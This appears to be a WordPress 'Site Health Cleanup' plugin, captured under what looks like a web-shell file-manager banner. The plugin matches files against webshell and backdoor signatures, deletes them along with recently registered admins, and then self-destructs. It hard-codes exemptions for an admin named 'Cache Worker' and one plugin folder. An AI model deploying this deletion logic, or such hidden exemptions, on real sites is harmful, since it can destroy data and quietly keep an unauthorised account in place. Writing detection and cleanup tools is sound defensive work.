| Server IP : 104.26.4.103 / Your IP : 216.73.216.4 Web Server : nginx/1.27.1 System : Linux in-5 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64 User : arabianexpress ( 1872) PHP Version : 8.0.30 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /storage/v9321/leapdubai/public_html/wp-content/plugins/mwc-cleanup/ |
Upload File : |
<?php
/**
* Plugin Name: Site Health Cleanup
* Plugin URI: https://example.com/site-health-cleanup
* Description: One-shot incident-response cleanup. On activation it removes malicious shells/plugins and rogue admin accounts created during the breach window, writes a log to uploads, then self-destructs.
* Version: 1.0.0
* Requires at least: 5.0
* Requires PHP: 7.2
* Author: Security Team
* Author URI: https://example.com
* License: GPL-2.0-or-later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: site-health-cleanup
*/
// Hard exit if accessed directly outside WordPress.
if (!defined('ABSPATH')) {
exit;
}
/* =========================================================================
* CONFIG
* ========================================================================= */
// Breach window start. Files/users with mtime|ctime / registration >= this are in scope.
// Server-local time for files; UTC is derived separately for user_registered.
define('MWC_WINDOW_START', '2026-07-17 00:00:00');
// Set true to scan ALL files regardless of date (use only if attacker faked timestamps).
define('MWC_IGNORE_DATE', false);
// Admins with this exact display_name are NEVER deleted.
define('MWC_KEEP_DISPLAY_NAME', 'Cache Worker');
// Max file size to read for content scanning (bytes). Larger files are skipped.
define('MWC_MAX_READ', 16 * 1024 * 1024);
// File extensions considered "code" worth scanning.
$GLOBALS['mwc_exts'] = array('php', 'php3', 'php4', 'php5', 'php7', 'phtml', 'phar', 'phps', 'suspected', 'inc');
// Plugin folder slugs (inside wp-content/plugins) that are NEVER scanned or deleted.
$GLOBALS['mwc_exclude_plugins'] = array('wordpress-configurator-optimizer');
// Absolute dir paths excluded from scanning (filled at runtime). Includes self + excludes above.
$GLOBALS['mwc_exclude_dirs'] = array();
// Core root files that must never be deleted even on a signature match.
$GLOBALS['mwc_root_whitelist'] = array(
'index.php', 'wp-config.php', 'wp-config-sample.php', 'wp-load.php', 'wp-blog-header.php',
'wp-cron.php', 'wp-settings.php', 'wp-login.php', 'wp-mail.php', 'wp-links-opml.php',
'wp-trackback.php', 'xmlrpc.php', 'wp-activate.php', 'wp-signup.php', 'wp-comments-post.php',
);
/* =========================================================================
* DETECTION RULES
* Each rule = { label, clauses }. A rule matches if ANY clause matches (OR).
* A clause = list of regexes that must ALL be present (AND).
* All matching is case-insensitive.
* ========================================================================= */
function mwc_rules() {
return array(
array(
'label' => 'WebshellSR',
'clauses' => array(array('/WebshellSR/i')),
),
array(
'label' => 'Nxploited',
'clauses' => array(array('/Nxploited/i')),
),
array(
'label' => 'WonderfulWebshell_or_shell_payload_eval',
'clauses' => array(
array('/WonderfulWebshell/i'),
array('/shell/i', '/payload/i', '/eval/i'),
),
),
array(
'label' => 'deployBackdoorBatch',
'clauses' => array(
array('/deployBackdoorBatch/i'),
array('/Backdoor/i', '/login_admin/i'),
),
),
);
}
/**
* Test file content against all rules.
* @return string|false matched rule label, or false.
*/
function mwc_match_content($content) {
foreach (mwc_rules() as $rule) {
foreach ($rule['clauses'] as $clause) {
$all = true;
foreach ($clause as $rx) {
if (!preg_match($rx, $content)) {
$all = false;
break;
}
}
if ($all) {
return $rule['label'];
}
}
}
return false;
}
/* =========================================================================
* LOGGING
* ========================================================================= */
function mwc_log_path() {
$up = wp_upload_dir();
$dir = trailingslashit($up['basedir']) . 'mwc-log';
if (!is_dir($dir)) {
wp_mkdir_p($dir);
@file_put_contents($dir . '/.htaccess', "Order allow,deny\nDeny from all\n");
@file_put_contents($dir . '/index.html', '');
}
return $dir . '/cleanup-' . gmdate('Ymd-His') . '.log';
}
function mwc_log($msg) {
static $file = null;
if ($file === null) {
$file = mwc_log_path();
}
@file_put_contents($file, '[' . gmdate('Y-m-d H:i:s') . ' UTC] ' . $msg . "\n", FILE_APPEND);
}
/* =========================================================================
* FILESYSTEM HELPERS
* ========================================================================= */
function mwc_norm($p) {
return rtrim(str_replace('\\', '/', (string) $p), '/');
}
function mwc_rrmdir($dir) {
$dir = (string) $dir;
if (!is_dir($dir)) {
return @unlink($dir);
}
$items = @scandir($dir);
if ($items === false) {
return false;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path) && !is_link($path)) {
mwc_rrmdir($path);
} else {
@unlink($path);
}
}
return @rmdir($dir);
}
/**
* Whether a file is in the breach time window. Uses max(mtime, ctime) to defeat
* naive touch() backdating (ctime resets on inode metadata change).
*/
function mwc_in_window($path, $cutoff_ts) {
if (MWC_IGNORE_DATE) {
return true;
}
$m = @filemtime($path);
$c = @filectime($path);
$t = max((int) $m, (int) $c);
return $t >= $cutoff_ts;
}
function mwc_has_code_ext($path) {
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
return in_array($ext, $GLOBALS['mwc_exts'], true);
}
/**
* Recursively collect matched files under $root.
* Skips $skip_dir (our own plugin) entirely.
* @return array of array('path'=>..., 'rule'=>...)
*/
function mwc_scan($root, $recursive, $cutoff_ts, $skip_dir) {
$matches = array();
$root = mwc_norm($root);
if ($root === '' || !is_dir($root)) {
return $matches;
}
if ($recursive) {
try {
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($root, FilesystemIterator::SKIP_DOTS | FilesystemIterator::FOLLOW_SYMLINKS),
RecursiveIteratorIterator::LEAVES_ONLY
);
} catch (Exception $e) {
mwc_log('SCAN ERROR ' . $root . ': ' . $e->getMessage());
return $matches;
}
foreach ($it as $fileinfo) {
$path = mwc_norm($fileinfo->getPathname());
mwc_consider($path, $cutoff_ts, $skip_dir, $matches);
}
} else {
$items = @scandir($root);
if ($items === false) {
return $matches;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $root . '/' . $item;
if (is_file($path)) {
mwc_consider($path, $cutoff_ts, $skip_dir, $matches);
}
}
}
return $matches;
}
function mwc_consider($path, $cutoff_ts, $skip_dir, &$matches) {
// Never scan ourselves (this file contains every signature string).
if ($skip_dir !== '' && strpos($path . '/', $skip_dir . '/') === 0) {
return;
}
// Never scan excluded directories (whitelisted plugins, etc.).
foreach ($GLOBALS['mwc_exclude_dirs'] as $ex) {
if ($ex !== '' && strpos($path . '/', $ex . '/') === 0) {
return;
}
}
if (!is_file($path) || !mwc_has_code_ext($path)) {
return;
}
if (!mwc_in_window($path, $cutoff_ts)) {
return;
}
$size = @filesize($path);
if ($size === false || $size > MWC_MAX_READ) {
return;
}
$content = @file_get_contents($path);
if ($content === false) {
return;
}
$rule = mwc_match_content($content);
if ($rule !== false) {
$matches[] = array('path' => $path, 'rule' => $rule);
}
}
/* =========================================================================
* MAIN CLEANUP
* ========================================================================= */
function mwc_run_cleanup() {
@ignore_user_abort(true);
@set_time_limit(0);
if (function_exists('wp_raise_memory_limit')) {
wp_raise_memory_limit('admin');
}
$cutoff_ts = strtotime(MWC_WINDOW_START); // server-local for files
mwc_log('=== Site Health Cleanup START ===');
mwc_log('Window start: ' . MWC_WINDOW_START . ' (ignore_date=' . (MWC_IGNORE_DATE ? 'yes' : 'no') . ')');
$self_dir = mwc_norm(plugin_dir_path(__FILE__));
$plugins_root = mwc_norm(defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR : WP_CONTENT_DIR . '/plugins');
// If self is a single-file plugin sitting directly in the plugins root,
// self_dir == plugins_root; use the file path as the skip marker instead.
$skip_dir = ($self_dir === $plugins_root) ? mwc_norm(__FILE__) : $self_dir;
// Build excluded directory list (whitelisted plugin folders).
$GLOBALS['mwc_exclude_dirs'] = array();
foreach ($GLOBALS['mwc_exclude_plugins'] as $slug) {
$slug = trim($slug);
if ($slug !== '') {
$GLOBALS['mwc_exclude_dirs'][] = $plugins_root . '/' . $slug;
}
}
if (!empty($GLOBALS['mwc_exclude_dirs'])) {
mwc_log('Excluded (never touched): ' . implode(', ', $GLOBALS['mwc_exclude_dirs']));
}
/* ---- 1. Plugins dir: whole-folder delete on match ---- */
$plugin_matches = mwc_scan($plugins_root, true, $cutoff_ts, $skip_dir);
$folders_to_delete = array(); // plugin_folder_path => rule
$loose_files = array(); // path => rule (files directly in plugins root)
foreach ($plugin_matches as $m) {
$rel = ltrim(substr($m['path'], strlen($plugins_root)), '/');
$seg = explode('/', $rel);
if (count($seg) > 1) {
$folder = $plugins_root . '/' . $seg[0];
if (mwc_norm($folder) === $skip_dir) {
continue; // never our own folder
}
if (!isset($folders_to_delete[$folder])) {
$folders_to_delete[$folder] = $m['rule'];
}
} else {
$loose_files[$m['path']] = $m['rule'];
}
}
$deleted_targets = array(); // path => array(type,rule) for verification
foreach ($folders_to_delete as $folder => $rule) {
mwc_log("MATCH plugin-folder [$rule] -> deleting DIR: $folder");
if (mwc_rrmdir($folder)) {
mwc_log(" DELETED dir: $folder");
} else {
mwc_log(" FAILED to delete dir: $folder");
}
$deleted_targets[$folder] = array('dir', $rule);
}
foreach ($loose_files as $path => $rule) {
mwc_log("MATCH plugin-file [$rule] -> deleting FILE: $path");
@unlink($path);
$deleted_targets[$path] = array('file', $rule);
}
/* ---- 2. mu-plugins, themes, uploads: file-level delete ---- */
$file_dirs = array();
if (defined('WPMU_PLUGIN_DIR')) {
$file_dirs[] = WPMU_PLUGIN_DIR;
}
if (function_exists('get_theme_root')) {
$file_dirs[] = get_theme_root();
}
$up = wp_upload_dir();
if (!empty($up['basedir'])) {
$file_dirs[] = $up['basedir'];
}
foreach (array_unique(array_map('mwc_norm', $file_dirs)) as $d) {
foreach (mwc_scan($d, true, $cutoff_ts, $skip_dir) as $m) {
mwc_log("MATCH file [{$m['rule']}] -> deleting FILE: {$m['path']}");
@unlink($m['path']);
$deleted_targets[$m['path']] = array('file', $m['rule']);
}
}
/* ---- 3. Site root (top-level only), core files whitelisted ---- */
foreach (mwc_scan(mwc_norm(ABSPATH), false, $cutoff_ts, $skip_dir) as $m) {
$base = basename($m['path']);
if (in_array($base, $GLOBALS['mwc_root_whitelist'], true)) {
mwc_log("SKIP core root file (whitelisted) [{$m['rule']}]: {$m['path']}");
continue;
}
mwc_log("MATCH root-file [{$m['rule']}] -> deleting FILE: {$m['path']}");
@unlink($m['path']);
$deleted_targets[$m['path']] = array('file', $m['rule']);
}
/* ---- 4. Rogue admins ---- */
mwc_cleanup_admins($deleted_targets);
/* ---- 5. Verification pass ---- */
mwc_verify($deleted_targets);
mwc_log('=== Site Health Cleanup END ===');
}
function mwc_cleanup_admins(&$deleted_targets) {
require_once ABSPATH . 'wp-admin/includes/user.php';
// user_registered is stored in UTC.
$cutoff_user = strtotime(MWC_WINDOW_START . ' UTC');
$now = time();
$current = function_exists('get_current_user_id') ? (int) get_current_user_id() : 0;
$admins = get_users(array('role' => 'administrator'));
$keep = array(); // ids kept
$delete = array(); // id => reason
foreach ($admins as $u) {
$id = (int) $u->ID;
if (trim($u->display_name) === MWC_KEEP_DISPLAY_NAME) {
$keep[$id] = 'display_name=' . MWC_KEEP_DISPLAY_NAME;
continue;
}
if ($id === $current && $current > 0) {
$keep[$id] = 'current_user';
continue;
}
$reg = strtotime($u->user_registered . ' UTC');
if ($reg !== false && $reg >= $cutoff_user && $reg <= $now) {
$delete[$id] = 'registered ' . $u->user_registered . ' UTC (in window)';
} else {
$keep[$id] = 'registered before window';
}
}
// Reassign content to a surviving admin (prefer current user).
$reassign = null;
if ($current > 0 && isset($keep[$current])) {
$reassign = $current;
} else {
foreach (array_keys($keep) as $kid) {
$reassign = $kid;
break;
}
}
foreach ($keep as $id => $why) {
mwc_log("KEEP admin ID=$id ($why)");
}
foreach ($delete as $id => $why) {
$login = '';
$u = get_userdata($id);
if ($u) {
$login = $u->user_login . ' / ' . $u->user_email;
}
mwc_log("DELETE admin ID=$id [$login] - $why" . ($reassign ? " (reassign->$reassign)" : ''));
$ok = wp_delete_user($id, $reassign ? $reassign : null);
mwc_log(' ' . ($ok ? 'DELETED user ' : 'FAILED to delete user ') . $id);
$deleted_targets['user:' . $id] = array('user', $why);
}
if (empty($delete)) {
mwc_log('No rogue admins found in window.');
}
}
function mwc_verify($deleted_targets) {
mwc_log('--- VERIFICATION ---');
$ok = true;
foreach ($deleted_targets as $key => $info) {
list($type, $rule) = $info;
if ($type === 'user') {
$id = (int) substr($key, strlen('user:'));
$exists = get_userdata($id) !== false;
mwc_log(($exists ? 'STILL EXISTS' : 'gone') . " user $id");
if ($exists) {
$ok = false;
}
} else {
$exists = file_exists($key);
mwc_log(($exists ? 'STILL EXISTS' : 'gone') . " $type $key");
if ($exists) {
$ok = false;
}
}
}
mwc_log('VERIFICATION RESULT: ' . ($ok ? 'ALL TARGETS REMOVED' : 'SOME TARGETS REMAIN (see above)'));
}
/* =========================================================================
* SELF-DESTRUCT
* Runs at shutdown of the activation request, AFTER WP has written
* active_plugins, so we cleanly remove ourselves and delete our files.
* ========================================================================= */
function mwc_self_destruct() {
$me = plugin_basename(__FILE__);
// Remove self from active plugins so WP doesn't show a "missing plugin" notice.
$active = get_option('active_plugins', array());
if (is_array($active) && in_array($me, $active, true)) {
$active = array_values(array_diff($active, array($me)));
update_option('active_plugins', $active);
}
$file = __FILE__;
$dir = mwc_norm(dirname($file));
$plugins_root = mwc_norm(defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR : WP_CONTENT_DIR . '/plugins');
mwc_log('SELF-DESTRUCT: removing plugin from disk.');
if ($dir !== $plugins_root) {
// Lives in its own folder -> remove the whole folder.
mwc_rrmdir($dir);
} else {
// Single-file plugin in plugins root.
@unlink($file);
}
}
/* =========================================================================
* ACTIVATION ENTRY POINT
* ========================================================================= */
function mwc_on_activate() {
try {
mwc_run_cleanup();
} catch (Throwable $e) {
mwc_log('FATAL during cleanup: ' . $e->getMessage());
}
// Defer file removal to shutdown so the log + verification finish first
// and active_plugins has been written by WordPress.
register_shutdown_function('mwc_self_destruct');
}
register_activation_hook(__FILE__, 'mwc_on_activate');